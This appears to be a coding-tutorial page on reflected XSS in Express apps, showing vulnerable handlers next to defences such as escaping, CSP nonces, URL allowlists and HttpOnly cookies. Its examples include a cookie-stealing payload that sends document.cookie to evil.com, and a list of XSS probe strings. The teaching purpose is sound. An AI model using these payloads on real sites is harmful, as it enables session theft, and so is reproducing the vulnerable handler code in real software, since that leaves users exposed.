iwantcoding.com
🔥 Daily 👥 Rooms 🏆 Top Log in Sign up

Reflected XSS

Reflected XSS happens when user input from a request (query string, form data, headers) is echoed straight into the response. The payload lives in the URL the attacker crafts; the victim clicks; the script runs.

Anatomy + defences

EXAMPLE
// 1) The classic vulnerability
// Vulnerable Express app — never write this
app.get('/search', (req, res) => {
    const q = req.query.q;
    res.send(`<h1>Search results for: ${q}</h1>`);   // q lands in HTML as-is
});

// Attacker crafts URL:
//   https://example.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script>
// Victim clicks → cookies sent to attacker.

// 2) Less obvious — input echoed in an attribute
app.get('/profile', (req, res) => {
    const name = req.query.name;
    res.send(`<input value="${name}">`);
});

// Payload: ?name=" onfocus=alert(1) x="
// Renders: <input value="" onfocus=alert(1) x="">

// 3) In a script context
app.get('/profile', (req, res) => {
    const name = req.query.name;
    res.send(`<script>const user = '${name}';</script>`);
});

// Payload: ?name='; alert(1); //
// Renders: <script>const user = ''; alert(1); //';</script>

// 4) In a URL
app.get('/redirect', (req, res) => {
    const url = req.query.url;
    res.send(`<a href="${url}">Continue</a>`);
});

// Payload: ?url=javascript:alert(1)

// === Defences ===

// 5) HTML body context — escape & < > " '
function escapeHtml(s) {
    return String(s)
        .replaceAll('&',  '&amp;')
        .replaceAll('<',  '&lt;')
        .replaceAll('>',  '&gt;')
        .replaceAll('"', '&quot;')
        .replaceAll("'", '&#39;');
}

app.get('/search', (req, res) => {
    const q = String(req.query.q ?? '');
    res.send(`<h1>Search results for: ${escapeHtml(q)}</h1>`);
});

// 6) Use framework templating — escapes by default
// EJS
// <h1>Search results for: <%= q %></h1>         ← escapes
// <h1>Search results for: <%- q %></h1>         ← UNESCAPED (dangerous)

// Pug
// h1 Search results for: #{q}                    ← escapes
// h1 Search results for: !{q}                    ← UNESCAPED

// Handlebars
// {{q}}                                          ← escapes
// {{{q}}}                                        ← UNESCAPED

// 7) React — escapes text content by default
function Search({ q }) {
    return <h1>Search results for: {q}</h1>;     // safe
}

// dangerouslySetInnerHTML bypasses safety — only use after sanitising with DOMPurify
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />

// 8) Per-context encoding (see xss/context lesson)
//   HTML body          → escapeHtml
//   HTML attribute     → escapeHtml (in quoted attrs)
//   JavaScript string  → JSON.stringify (preferred), or JS-escape
//   URL                → encodeURIComponent for parts
//   CSS                → AVOID; allowlist only

// 9) Content Security Policy (CSP) — defence in depth
app.use((req, res, next) => {
    const nonce = crypto.randomBytes(16).toString('base64');
    res.locals.cspNonce = nonce;
    res.setHeader('Content-Security-Policy', [
        "default-src 'self'",
        `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
        `style-src  'self' 'nonce-${nonce}'`,
        "img-src    'self' data: https:",
        "object-src 'none'",
        "base-uri   'self'",
        "frame-ancestors 'none'",
    ].join('; '));
    next();
});

// Even if the attacker injects a script tag, it has no valid nonce → browser refuses to execute.

// 10) Validate URLs — reject javascript: / data: / vbscript:
function safeHref(input) {
    try {
        const url = new URL(input, location.origin);
        if (!['http:', 'https:', 'mailto:'].includes(url.protocol)) return '#';
        return url.toString();
    } catch {
        return '#';
    }
}

app.get('/redirect', (req, res) => {
    const url = safeHref(req.query.url);
    res.send(`<a href="${escapeHtml(url)}">Continue</a>`);
});

// 11) Open redirects — RX uses your trust to send users elsewhere
app.get('/login', (req, res) => {
    const returnTo = req.query.return_to;
    res.redirect(returnTo);                       // attacker controls destination → phishing
});

// Defence: allowlist of acceptable return URLs (relative path only, or known hosts)
const SAFE_RETURNS = /^\/(?!\/)[\w\-./]*$/;
app.get('/login', (req, res) => {
    const r = req.query.return_to ?? '/';
    if (!SAFE_RETURNS.test(r)) return res.redirect('/');
    res.redirect(r);
});

// 12) Cookies — HttpOnly + Secure + SameSite
res.cookie('sid', sid, {
    httpOnly: true,         // JS can't read; mitigates cookie theft if XSS lands
    secure:   true,
    sameSite: 'lax',
});

// 13) Headers that help
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Referrer-Policy',         'strict-origin-when-cross-origin');
res.setHeader('X-Frame-Options',          'DENY');                  // legacy; CSP frame-ancestors is preferred

// === Testing for reflected XSS ===

// 14) Manual probes
//   ?q=<script>alert(1)</script>
//   ?q=<img src=x onerror=alert(1)>
//   ?q=";alert(1);//
//   ?q=javascript:alert(1)
//   ?q=<svg onload=alert(1)>
//   ?q=<iframe srcdoc="<script>alert(1)</script>">

// If any of these produce an alert, the field is vulnerable.

// 15) Automated tools
//   - OWASP ZAP (Active Scan)
//   - Burp Suite (Active Scanner + Intruder with XSS payloads)
//   - Nuclei (community templates with XSS detection)
//   - DOMinator (for DOM-based XSS)
//   - Semgrep (static analysis for risky patterns)

// 16) CI / CD checks
//   - ESLint plugins: react/no-danger, security/detect-non-literal-fs-filename
//   - SAST: Semgrep with web rule packs
//   - DAST: ZAP baseline scan against staging

// === Anti-patterns ===

// 17) Don't do these
//   ❌ Just stripping <script> tags (countless bypasses)
//   ❌ Trusting Content-Type — attackers can spoof
//   ❌ Stripping spaces / unicode (incomplete)
//   ❌ Client-side escaping only (can be bypassed by manipulating the URL)
//   ❌ Server-side escaping only without CSP (one missed spot = XSS)
//   ❌ Disabling browser XSS auditor / X-XSS-Protection — deprecated, use CSP

// === Anatomy of a real attack chain ===
//   1. Attacker finds reflected XSS in /search?q=...
//   2. Crafts URL with payload that steals session cookies via fetch()
//   3. Sends URL to victim via email / Slack / DM
//   4. Victim clicks; payload runs in victim's browser, sends cookies to attacker
//   5. Attacker uses cookies to impersonate victim
//
// Defences that would break this chain:
//   • HTML escaping in /search → payload becomes text, doesn't execute
//   • CSP with strict-dynamic + nonce → injected script can't run
//   • HttpOnly session cookie → JS can't read it → cookie theft fails
//   • SameSite=Lax → cookie not sent on cross-site request anyway
//   • Mature security headers → multiple safety nets

// === Best practices ===
//   ✅ Escape on output, per context
//   ✅ Use framework templating defaults
//   ✅ CSP with nonces + strict-dynamic
//   ✅ HttpOnly, Secure, SameSite=Lax on session cookies
//   ✅ Allowlist URLs for href / src / redirects
//   ✅ Sanitise HTML with DOMPurify when you must accept rich text
//   ✅ Pre-prod DAST scanning (ZAP, Burp)
//   ✅ Static analysis (Semgrep, ESLint rules)
//   ✅ Bug bounty / pen-testing as a safety net

Why it matters

Reflected XSS lives in URLs — the payload is in the request, the victim clicks the link, the script runs. Defence is per-context output encoding plus a strict CSP. Frameworks (React / Vue / Blade) escape by default; your job is not bypassing them.

Tip: Tweak the snippet with Try it Yourself », then sit the quiz at the bottom of the page.

Example

Example
// VULNERABLE
app.get('/search', (req, res) =>
    res.send('<p>You searched: ' + req.query.q + '</p>'));
// SAFE — let the templating engine escape:
res.render('search', { q: req.query.q });   // EJS / Pug / Twig auto-escape by default
Try it Yourself »

Exercise

Library to escape a string for HTML insertion.

el.innerHTML = (userInput);

Discussion

Loading…